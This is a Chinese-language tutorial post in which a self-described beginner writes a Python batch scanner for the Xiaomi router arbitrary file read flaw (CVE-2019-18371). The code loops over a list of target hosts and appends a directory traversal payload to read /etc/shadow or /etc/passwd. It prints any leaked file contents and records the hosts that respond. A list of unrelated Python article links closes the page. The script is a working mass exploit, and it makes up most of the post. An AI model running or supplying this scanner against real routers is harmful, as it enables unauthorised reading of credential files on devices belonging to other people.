用Python寫漏洞驗(yàn)證腳本的代碼
小白嘗試寫任意文件讀取poc
我是一個(gè)小白,完全不懂Python,但是Python在滲透中往往是一個(gè)重要的角色。
有一個(gè)CSDN百萬大佬寫了這樣一句話,不會編程的滲透都是耍流氓。
我雖然菜但是也想嘗試學(xué)習(xí)寫一下Python漏洞的poc和exp。
我是在網(wǎng)上找到的學(xué)習(xí)方法,隨便記錄一下。嘗試寫一個(gè)批量驗(yàn)證漏洞的poc
發(fā)現(xiàn)小米路由器有一個(gè)任意文件讀取漏洞,學(xué)著寫了看看
小米路由器遠(yuǎn)程任意文件讀取漏洞
小米路由器遠(yuǎn)程任意文件讀取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件錯(cuò)誤,導(dǎo)致目錄穿越漏洞實(shí)現(xiàn)任意文件讀取。
可通過訪問http://domain.cn/xxx…/etc/passwd實(shí)現(xiàn)目錄穿越訪問上級目錄及其子目錄文件。
如訪問http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以讀取到passwd文件。
寫一個(gè)批量驗(yàn)證漏洞的poc
第一步實(shí)現(xiàn)域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd
域名和payload拼接如下
import requests
import time
def poc_check(poc):
for url in open('xiaomi.txt'):
url = url.replace('\n','')
poc_url=url+poc
print(poc_url) # 把域名和payload拼接成一個(gè)完整的域名,然后去請求如果返回200就說明存在漏洞。
if __name__=='__main__':
poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
poc_check(poc_xiaomi)圖片如下

拼接好的域名嘗試訪問,如果返回200代表訪問成功說明能讀取到文件說明存在漏洞
返回其他的狀態(tài)碼就代表不存在漏洞
完整代碼如下:
import requests
import time
def poc_check(poc):
for url in open('xiaomi.txt'):
url = url.replace('\n','')
poc_url=url+poc
# print(poc_url) # 把域名和payload拼接成一個(gè)完整的域名,然后去請求如果返回200就說明存在漏洞。
try:
print("再也沒有留戀的斜陽")
print("正在檢測:")
print(poc_url)
poc_data=requests.get(poc_url)
if poc_data.status_code==200:
print(poc_data.content.decode('utf-8'))
with open(r'xiaomivuln.txt','a+') as f:
f.write(poc_url+'\n')
f.close()
except Exception as e:
time.sleep(0.1)
pass
if __name__=='__main__':
poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
# poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd'
poc_check(poc_xiaomi)
# poc_check(poc_xiaomi1)
寫完了,我太水了的是照著別人寫的
到此這篇關(guān)于用Python寫漏洞驗(yàn)證腳本的文章就介紹到這了,更多相關(guān)Python驗(yàn)證腳本內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
解決python3.6 右鍵沒有 Edit with IDLE的問題
這篇文章主要介紹了解決python3.6 右鍵沒有 Edit with IDLE的問題,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2021-03-03
python實(shí)現(xiàn)加密的方式總結(jié)
這篇文章主要介紹了python實(shí)現(xiàn)加密的方式總結(jié),文中給大家提到了python中加密的注意點(diǎn),通過實(shí)例代碼給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-01-01
基于Python實(shí)現(xiàn)貪吃蛇小游戲(附源碼)
本次我們將編寫一個(gè)貪吃蛇的游戲。通過鍵盤上、下、左、右控制小蛇上、下、左、右移動,吃到食物后長度加1;蛇頭碰到自身或窗口邊緣,游戲失敗,需要的可以參考一下2022-11-11
Python Opencv任意形狀目標(biāo)檢測并繪制框圖
這篇文章主要為大家詳細(xì)介紹了Python Opencv任意形狀目標(biāo)檢測,并繪制框圖,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-07-07
TensorFlow tf.nn.max_pool實(shí)現(xiàn)池化操作方式
今天小編就為大家分享一篇TensorFlow tf.nn.max_pool實(shí)現(xiàn)池化操作方式,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-01-01
Django 后臺獲取文件列表 InMemoryUploadedFile的例子
今天小編就為大家分享一篇Django 后臺獲取文件列表 InMemoryUploadedFile的例子,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-08-08
Python使用sqlalchemy實(shí)現(xiàn)連接數(shù)據(jù)庫的幫助類
這篇文章主要為大家詳細(xì)介紹了Python如何使用sqlalchemy實(shí)現(xiàn)連接數(shù)據(jù)庫的幫助類,文中的示例代碼講解詳細(xì),具有一定的借鑒價(jià)值,需要的可以參考下2024-02-02

